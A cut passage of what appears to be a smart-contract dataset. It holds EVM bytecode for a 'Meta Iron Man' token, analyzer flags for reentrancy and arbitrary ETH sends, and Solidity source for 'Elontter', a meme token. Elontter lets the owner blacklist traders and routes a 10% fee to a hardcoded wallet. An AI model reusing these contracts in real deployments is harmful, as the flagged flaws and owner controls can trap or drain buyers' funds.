a565b610b04565b6040516102899190612085565b60405180910390f35b34801561029e57600080fd5b506102a7610b55565b005b3480156102b557600080fd5b506102be610ca8565b6040516102cb9190612166565b60405180910390f35b3480156102e057600080fd5b506102e9610cd1565b6040516102f69190611f80565b60405180910390f35b34801561030b57600080fd5b5061032660048036038101906103219190612000565b610d0e565b604051610333919061205b565b60405180910390f35b34801561034857600080fd5b50610363600480360381019061035e9190611eba565b610d2c565b005b34801561037157600080fd5b5061038c60048036038101906103879190612181565b610e0f565b6040516103999190612085565b60405180910390f35b3480156103ae57600080fd5b506103b7610e96565b005b6103c1610f08565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461041a57600080fd5b80600a8190555050565b60606040518060400160405280600d81526020017f4d6574612049726f6e204d616e00000000000000000000000000000000000000815250905090565b600061047561046e610f08565b8484610f10565b6001905092915050565b6000633b9aca00905090565b60006104988484846110db565b610559846104a4610f08565b61055485604051806060016040528060288152602001612c5460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610f08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114129092919063ffffffff16565b610f10565b600190509392505050565b61056c610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f09061220d565b60405180910390fd5b600860149054906101000a900460ff1615610649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064090612279565b60405180910390fd5b61067a30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106e257600080fd5b505afa1580156106f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071a91906122ae565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561079e57600080fd5b505afa1580156107b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d691906122ae565b6040518363ffffffff1660e01b81526004016107f39291906122db565b602060405180830381600087803b15801561080d57600080fd5b505af1158015610821573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084591906122ae565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306108ce30610b04565b6000806108d9610ca8565b426040518863ffffffff1660e01b81526004016108fb96959493929190612349565b6060604051808303818588803b15801561091457600080fd5b505af1158015610928573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094d91906123bf565b5050506001600860166101000a81548160ff021916908315150217905550633b9aca00600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a30929190612412565b602060405180830381600087803b158015610a4a57600080fd5b505af1158015610a5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a829190612467565b50565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610acb610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610aeb57600080fd5b6000610af630610b04565b9050610b0181611476565b50565b6000610b4e600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe565b9050919050565b610b5d610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be19061220d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f4d45544149524f4e4d414e000000000000000000000000000000000000000000815250905090565b6000610d22610d1b610f08565b84846110db565b6001905092915050565b610d34610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db89061220d565b60405180910390fd5b6000811015610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc906124e0565b60405180910390fd5b8060058190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed7610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610ef757600080fd5b6000479050610f058161176c565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7790612572565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe790612604565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce9190612085565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114290612696565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b290612728565b60405180910390fd5b600081116111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f5906127ba565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ad5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112b85760006112bb565b60015b60ff166112c89190612809565b11156112d357600080fd5b6112db610ca8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113495750611319610ca8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140257600860159054906101000a900460ff161580156113b95750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d15750600860169054906101000a900460ff165b15611401576113e76113e230610b04565b611476565b600047905060008111156113ff576113fe4761176c565b5b505b5b61140d8383836117d8565b505050565b600083831115829061145a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114519190611f80565b60405180910390fd5b50600083856114699190612863565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114ae576114ad612897565b5b6040519080825280602002602001820160405280156114dc5781602001602082028036833780820191505090505b50905030816000815181106114f4576114f36128c6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159657600080fd5b505afa1580156115aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ce91906122ae565b816001815181106115e2576115e16128c6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164930600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ad9594939291906129b3565b600060405180830381600087803b1580156116c757600080fd5b505af11580156116db573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c90612a7f565b60405180910390fd5b600061174f6117e8565b9050611764818461181390919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d4573d6000803e3d6000fd5b5050565b6117e383838361185d565b505050565b60008060006117f5611a28565b9150915061180c818361181390919063ffffffff16565b9250505090565b600061185583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a7b565b905092915050565b60008060008060008061186f87611ade565b9550955095509550955095506118cd86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4690919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ae81611bee565b6119b88483611cab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a159190612085565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca009050611a54633b9aca0060035461181390919063ffffffff16565b821015611a6e57600354633b9aca00935093505050611a77565b81819350935050505b9091565b60008083118290611ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab99190611f80565b60405180910390fd5b5060008385611ad19190612ace565b9050809150509392505050565b6000806000806000806000806000611afb8a600554600554611ce5565b9250925092506000611b0b6117e8565b90506000806000611b1e8e878787611d7b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611412565b905092915050565b6000808284611b9f9190612aff565b905083811015611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb90612ba1565b60405180910390fd5b8091505092915050565b6000611bf86117e8565b90506000611c0f8284611e0490919063ffffffff16565b9050611c6381600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc082600354611b4690919063ffffffff16565b600381905550611cdb81600454611b9090919063ffffffff16565b6004819055505050565b600080600080611d116064611d03888a611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d3b6064611d2d888b611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d6482611d56858c611b4690919063ffffffff16565b611b4690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d948589611e0490919063ffffffff16565b90506000611dab8689611e0490919063ffffffff16565b90506000611dc28789611e0490919063ffffffff16565b90506000611deb82611ddd8587611b4690919063ffffffff16565b611b4690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e175760009050611e79565b60008284611e259190612809565b9050828482611e349190612ace565b14611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b90612c33565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b611e9781611e84565b8114611ea257600080fd5b50565b600081359050611eb481611e8e565b92915050565b600060208284031215611ed057611ecf611e7f565b5b6000611ede84828501611ea5565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f21578082015181840152602081019050611f06565b83811115611f30576000848401525b50505050565b6000601f19601f8301169050919050565b6000611f5282611ee7565b611f5c8185611ef2565b9350611f6c818560208601611f03565b611f7581611f36565b840191505092915050565b60006020820190508181036000830152611f9a8184611f47565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fcd82611fa2565b9050919050565b611fdd81611fc2565b8114611fe857600080fd5b50565b600081359050611ffa81611fd4565b92915050565b6000806040838503121561201757612016611e7f565b5b600061202585828601611feb565b925050602061203685828601611ea5565b9150509250929050565b60008115159050919050565b61205581612040565b82525050565b6000602082019050612070600083018461204c565b92915050565b61207f81611e84565b82525050565b600060208201905061209a6000830184612076565b92915050565b6000806000606084860312156120b9576120b8611e7f565b5b60006120c786828701611feb565b93505060206120d886828701611feb565b92505060406120e986828701611ea5565b9150509250925092565b600060ff82169050919050565b612109816120f3565b82525050565b60006020820190506121246000830184612100565b92915050565b6000602082840312156121405761213f611e7f565b5b600061214e84828501611feb565b91505092915050565b61216081611fc2565b82525050565b600060208201905061217b6000830184612157565b92915050565b6000806040838503121561219857612197611e7f565b5b60006121a685828601611feb565b92505060206121b785828601611feb565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121f7602083611ef2565b9150612202826121c1565b602082019050919050565b60006020820190508181036000830152612226816121ea565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612263601783611ef2565b915061226e8261222d565b602082019050919050565b6000602082019050818103600083015261229281612256565b9050919050565b6000815190506122a881611fd4565b92915050565b6000602082840312156122c4576122c3611e7f565b5b60006122d284828501612299565b91505092915050565b60006040820190506122f06000830185612157565b6122fd6020830184612157565b9392505050565b6000819050919050565b6000819050919050565b600061233361232e61232984612304565b61230e565b611e84565b9050919050565b61234381612318565b82525050565b600060c08201905061235e6000830189612157565b61236b6020830188612076565b612378604083018761233a565b612385606083018661233a565b6123926080830185612157565b61239f60a0830184612076565b979650505050505050565b6000815190506123b981611e8e565b92915050565b6000806000606084860312156123d8576123d7611e7f565b5b60006123e6868287016123aa565b93505060206123f7868287016123aa565b9250506040612408868287016123aa565b9150509250925092565b60006040820190506124276000830185612157565b6124346020830184612076565b9392505050565b61244481612040565b811461244f57600080fd5b50565b6000815190506124618161243b565b92915050565b60006020828403121561247d5761247c611e7f565b5b600061248b84828501612452565b91505092915050565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b60006124ca601883611ef2565b91506124d582612494565b602082019050919050565b600060208201905081810360008301526124f9816124bd565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061255c602483611ef2565b915061256782612500565b604082019050919050565b6000602082019050818103600083015261258b8161254f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125ee602283611ef2565b91506125f982612592565b604082019050919050565b6000602082019050818103600083015261261d816125e1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612680602583611ef2565b915061268b82612624565b604082019050919050565b600060208201905081810360008301526126af81612673565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612712602383611ef2565b915061271d826126b6565b604082019050919050565b6000602082019050818103600083015261274181612705565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006127a4602983611ef2565b91506127af82612748565b604082019050919050565b600060208201905081810360008301526127d381612797565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061281482611e84565b915061281f83611e84565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612858576128576127da565b5b828202905092915050565b600061286e82611e84565b915061287983611e84565b92508282101561288c5761288b6127da565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61292a81611fc2565b82525050565b600061293c8383612921565b60208301905092915050565b6000602082019050919050565b6000612960826128f5565b61296a8185612900565b935061297583612911565b8060005b838110156129a657815161298d8882612930565b975061299883612948565b925050600181019050612979565b5085935050505092915050565b600060a0820190506129c86000830188612076565b6129d5602083018761233a565b81810360408301526129e78186612955565b90506129f66060830185612157565b612a036080830184612076565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612a69602a83611ef2565b9150612a7482612a0d565b604082019050919050565b60006020820190508181036000830152612a9881612a5c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ad982611e84565b9150612ae483611e84565b925082612af457612af3612a9f565b5b828204905092915050565b6000612b0a82611e84565b9150612b1583611e84565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b4a57612b496127da565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b8b601b83611ef2565b9150612b9682612b55565b602082019050919050565b60006020820190508181036000830152612bba81612b7e565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c1d602183611ef2565b9150612c2882612bc1565b604082019050919050565b60006020820190508181036000830152612c4c81612c10565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206cf8e2dda955a5966e90806a78744cd0aa511f78cc07d7b48362836f3c05f8a264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,213
0xe20d6ccfdb133c9a532cef49bf62e3325fe89d45
/** ELONTTER He bought it. He own it. He controls it. He changes. He is elon and he is twitter. He might rename it. Welcome to ELONTTER. https://t.me/Elontter */ pragma solidity ^0.8.4; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Elontter is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Elons Twitter"; string private constant _symbol = "ELONTTER"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x111B28628A585407396EaEF7A2f81B5BBE683dd8); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(2).div(100); _maxWalletSize = _tTotal.mul(3).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
